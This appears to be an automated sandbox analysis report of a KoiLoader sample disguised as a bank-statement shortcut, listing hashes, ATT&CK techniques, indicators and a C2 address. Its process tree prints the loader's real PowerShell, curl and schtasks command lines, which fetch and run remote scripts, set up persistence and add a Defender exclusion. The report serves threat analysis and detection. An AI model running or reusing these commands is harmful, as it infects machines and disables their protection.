koiloader | dd56d8d92b125dc1cbd12a164274adf032f2053bfa5ac48c39e645fa1b61400f

General

Target

chase_statement_march.lnk
Size

1KB
MD5

202ee916a0113699880cc2e48a73d353
SHA1

85d9b74b2afa5bf0320e746a2871ef614159db2e
SHA256

02f27282ecc90843bd932d731c87426f78e4f88d79c66374ae06c6d1641c73cb
SHA512

c729137c2680e98e9686d6a2368e184fc38897032d0d0bf1e1c5a84530cc45208bfc60085be768c027d4ce52b627a7f308458ac5ed480c32289bc5a0d7c0a35e

Score

10^/10

koiloader defense_evasion discovery execution loader

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://casettalecese.it/wp-content/uploads/2022/10

Extracted

Family

koiloader

C2

http://94.247.42.253/pilot.php

Attributes

payload_url
https://casettalecese.it/wp-content/uploads/2022/10

Signatures

KoiLoader
KoiLoader is a malware loader written in C++.
loader koiloader
Koiloader family
koiloader

Detects KoiLoader payload 1 IoCs

loader

resource	yara_rule
behavioral2/memory/5256-56-0x0000000007E00000-0x0000000007E0D000-memory.dmp	family_koi_loader

Blocklisted process makes network request 6 IoCs

flow	pid	Process
8	5004	powershell.exe
69	5256	powershell.exe
70	5256	powershell.exe
72	4712	powershell.exe
73	4712	powershell.exe
84	5256	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
5256	powershell.exe
3912	powershell.exe
5004	powershell.exe
4712	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Control Panel\International\Geo\Nation	wscript.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Control Panel\International\Geo\Nation	wscript.exe

Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
1124	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DllHost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4780	schtasks.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
5004	powershell.exe
5004	powershell.exe
1124	powershell.exe
1124	powershell.exe
5256	powershell.exe
5256	powershell.exe
3912	powershell.exe
3912	powershell.exe
4712	powershell.exe
4712	powershell.exe
4712	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	5004	powershell.exe
Token: SeDebugPrivilege	1124	powershell.exe
Token: SeDebugPrivilege	5256	powershell.exe
Token: SeDebugPrivilege	3912	powershell.exe
Token: SeDebugPrivilege	4712	powershell.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 4996 wrote to memory of 5004	4996	cmd.exe	86
PID 4996 wrote to memory of 5004	4996	cmd.exe	86
PID 5004 wrote to memory of 1568	5004	powershell.exe	90
PID 5004 wrote to memory of 1568	5004	powershell.exe	90
PID 5004 wrote to memory of 4780	5004	powershell.exe	91
PID 5004 wrote to memory of 4780	5004	powershell.exe	91
PID 1912 wrote to memory of 1124	1912	wscript.EXE	108
PID 1912 wrote to memory of 1124	1912	wscript.EXE	108
PID 1124 wrote to memory of 2192	1124	powershell.exe	110
PID 1124 wrote to memory of 2192	1124	powershell.exe	110
PID 1124 wrote to memory of 3752	1124	powershell.exe	111
PID 1124 wrote to memory of 3752	1124	powershell.exe	111
PID 3752 wrote to memory of 5256	3752	wscript.exe	112
PID 3752 wrote to memory of 5256	3752	wscript.exe	112
PID 3752 wrote to memory of 5256	3752	wscript.exe	112
PID 5608 wrote to memory of 5352	5608	DllHost.exe	115
PID 5608 wrote to memory of 5352	5608	DllHost.exe	115
PID 5608 wrote to memory of 5352	5608	DllHost.exe	115
PID 5352 wrote to memory of 3912	5352	cmd.exe	117
PID 5352 wrote to memory of 3912	5352	cmd.exe	117
PID 5352 wrote to memory of 3912	5352	cmd.exe	117
PID 5256 wrote to memory of 2308	5256	powershell.exe	118
PID 5256 wrote to memory of 2308	5256	powershell.exe	118
PID 5256 wrote to memory of 2308	5256	powershell.exe	118
PID 2308 wrote to memory of 4712	2308	cmd.exe	120
PID 2308 wrote to memory of 4712	2308	cmd.exe	120
PID 2308 wrote to memory of 4712	2308	cmd.exe	120

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\chase_statement_march.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $pdw = $env:programdata + '\' + ('htphwirvsci9k5.js jycqenaew'); $getf='Dow'+'nl'+'oadF'+'ile'; $x5yd46kp30cefn911gg = New-Object Net.WebClient; $wscs = 'wscript '; $x5yd46kp30cefn911gg.$getf('https://casettalecese.it/wp-content/uploads/2022/10/hemigastrectomySDur.php', 'htphwirvsci9k5.js'); . ('curl.e'+'xe') -s -o cs5c09hr6xij 'https://casettalecese.it/wp-content/uploads/2022/10/bivalviaGrr.php'; mv cs5c09hr6xij 'jycqenaew.js'; . ('sc'+'hta'+'s'+'ks') /create /sc minute /mo 1 /f /tr ($wscs + $pdw) /tn jycqenaew;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5004
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -s -o cs5c09hr6xij https://casettalecese.it/wp-content/uploads/2022/10/bivalviaGrr.php
    3⤵
    PID:1568
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /sc minute /mo 1 /f /tr "wscript C:\ProgramData\htphwirvsci9k5.js jycqenaew" /tn jycqenaew
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4780

C:\Windows\system32\wscript.EXE
C:\Windows\system32\wscript.EXE C:\ProgramData\htphwirvsci9k5.js jycqenaew
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "schtasks /delete /tn jycqenaew /f; wscript $env:programdata\jycqenaew.js "
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1124
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /delete /tn jycqenaew /f
    3⤵
    PID:2192
- - C:\Windows\system32\wscript.exe
    "C:\Windows\system32\wscript.exe" C:\ProgramData\jycqenaew.js
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3752
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$typs=[Ref].Assembly.GetTypes();$bss = 'https://casettalecese.it/wp-content/uploads/2022/10'; Foreach($tt in $typs) {if ($tt.Name -like '*?siUt*s') {$c=$tt}}; $env:paths = '7zDLIKKQ7B2X'; IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/boomier10qD0.php')); IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/nephralgiaMsy.ps1'))"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5256
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "powershell -command IEX(IWR -UseBasicParsing 'https://casettalecese.it/wp-content/uploads/2022/10/sd2.ps1')"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2308
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command IEX(IWR -UseBasicParsing 'https://casettalecese.it/wp-content/uploads/2022/10/sd2.ps1')
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4712

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5608
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5352
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3912

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe "C:\ProgramData\rff916116-d6c5-4773-8db6-adba408f5be7r.js"
1⤵
PID:4128

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Indicator Removal

1

T1070

Clear Persistence

1

T1070.009

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\cs5c09hr6xij

Filesize
1KB

MD5
c7baab8dd9a356e7ef4e3f6aa536c9ba

SHA1
9fcc750a1923e3918269067963d2aa4f019d643b

SHA256
f60583cdd7563b0543dbbc377027e1b2b819943d52a5ef325e4935f2b5dcf17d

SHA512
f267a57935bccb00fc101751d711c1f0711a38a7cf4ea4e96bed1c6626194d144770eb22c92e9af89c54743a0dac3d2e607bf9fb50503f2c9c48f1257b66c28b

Download Submit
C:\ProgramData\htphwirvsci9k5.js

Filesize
198B

MD5
af9f1f2076317c03e21d56367e638af4

SHA1
61c4f850591f851acd3108104ef14f0fe32f95a6

SHA256
70835a8f7ea6c93942935a6f9fef1ae4591c22e873e3b06000ef01437f2090c1

SHA512
c280492024a902e3988c88dca7e21fc622df1bdf66796d9baf06a3b393550ac3d771589b0c51e7c246991d314c0729e7631cd1c08ba575683d9abdef7295b29c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
3d1b267bc579c1002d316b71d06389d5

SHA1
bec2ad5a2658582c4d646769ffbabc15bbdf8243

SHA256
a7c4593de0624c5899dac674b5fed0ed54c72ff6d97f6b69193fbbe64623f51c

SHA512
815b1b6266a9761fced750e93d46a6def97a5657db2e7bcce695536d9fb5163f4a0f3b87a00c71c12c7cd18a3f06c4aa513fb4dc5c1a65f9549929f9116217cf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2e7741ba688a2fb3da4096e1aeca7289

SHA1
834f0dbdc9af5efd0b6ac61b5e6c639e4c7437aa

SHA256
5530fc50cd28cf1d6774de83b1fb7321dc0632188db650e4df97feef13533efe

SHA512
1d36eef882c0767ae1b03d6a14bb3fdd75b27587e26a59e8d5c01ddb1770c95a0d0c861e4afc87321992b19c780fd3356e2a6fd858539615df5bbb7182cb8730

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jdobmqdt.dap.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3912-95-0x0000000006F70000-0x0000000006F84000-memory.dmp

Filesize
80KB

Download
memory/3912-70-0x0000000070D20000-0x0000000070D6C000-memory.dmp

Filesize
304KB

Download
memory/3912-83-0x0000000006FB0000-0x0000000007046000-memory.dmp

Filesize
600KB

Download
memory/3912-82-0x0000000006DA0000-0x0000000006DAA000-memory.dmp

Filesize
40KB

Download
memory/3912-81-0x0000000006C00000-0x0000000006CA3000-memory.dmp

Filesize
652KB

Download
memory/3912-80-0x0000000006BE0000-0x0000000006BFE000-memory.dmp

Filesize
120KB

Download
memory/3912-69-0x0000000006BA0000-0x0000000006BD2000-memory.dmp

Filesize
200KB

Download
memory/3912-94-0x0000000006F60000-0x0000000006F6E000-memory.dmp

Filesize
56KB

Download
memory/3912-93-0x0000000006F30000-0x0000000006F41000-memory.dmp

Filesize
68KB

Download
memory/3912-96-0x0000000007070000-0x000000000708A000-memory.dmp

Filesize
104KB

Download
memory/3912-97-0x0000000007050000-0x0000000007058000-memory.dmp

Filesize
32KB

Download
memory/4712-100-0x0000000007B00000-0x0000000007B22000-memory.dmp

Filesize
136KB

Download
memory/4712-101-0x0000000008890000-0x0000000008E34000-memory.dmp

Filesize
5.6MB

Download
memory/4712-102-0x00000000082E0000-0x00000000082FA000-memory.dmp

Filesize
104KB

Download
memory/4712-103-0x0000000008370000-0x00000000083C0000-memory.dmp

Filesize
320KB

Download
memory/4712-104-0x0000000008460000-0x00000000084F2000-memory.dmp

Filesize
584KB

Download
memory/5004-8-0x000001EDAE690000-0x000001EDAE6B2000-memory.dmp

Filesize
136KB

Download
memory/5004-20-0x00007FFE31F80000-0x00007FFE32A41000-memory.dmp

Filesize
10.8MB

Download
memory/5004-13-0x00007FFE31F80000-0x00007FFE32A41000-memory.dmp

Filesize
10.8MB

Download
memory/5004-14-0x00007FFE31F80000-0x00007FFE32A41000-memory.dmp

Filesize
10.8MB

Download
memory/5004-2-0x00007FFE31F83000-0x00007FFE31F85000-memory.dmp

Filesize
8KB

Download
memory/5256-35-0x0000000002D60000-0x0000000002D96000-memory.dmp

Filesize
216KB

Download
memory/5256-56-0x0000000007E00000-0x0000000007E0D000-memory.dmp

Filesize
52KB

Download
memory/5256-55-0x0000000007D60000-0x0000000007D61000-memory.dmp

Filesize
4KB

Download
memory/5256-54-0x0000000007F10000-0x000000000858A000-memory.dmp

Filesize
6.5MB

Download
memory/5256-53-0x0000000006A50000-0x0000000006A6A000-memory.dmp

Filesize
104KB

Download
memory/5256-52-0x00000000066B0000-0x00000000066FC000-memory.dmp

Filesize
304KB

Download
memory/5256-51-0x0000000006680000-0x000000000669E000-memory.dmp

Filesize
120KB

Download
memory/5256-49-0x00000000060B0000-0x0000000006404000-memory.dmp

Filesize
3.3MB

Download
memory/5256-38-0x0000000005850000-0x00000000058B6000-memory.dmp

Filesize
408KB

Download
memory/5256-39-0x00000000058C0000-0x0000000005926000-memory.dmp

Filesize
408KB

Download
memory/5256-37-0x00000000056B0000-0x00000000056D2000-memory.dmp

Filesize
136KB

Download
memory/5256-36-0x0000000005A80000-0x00000000060A8000-memory.dmp

Filesize
6.2MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads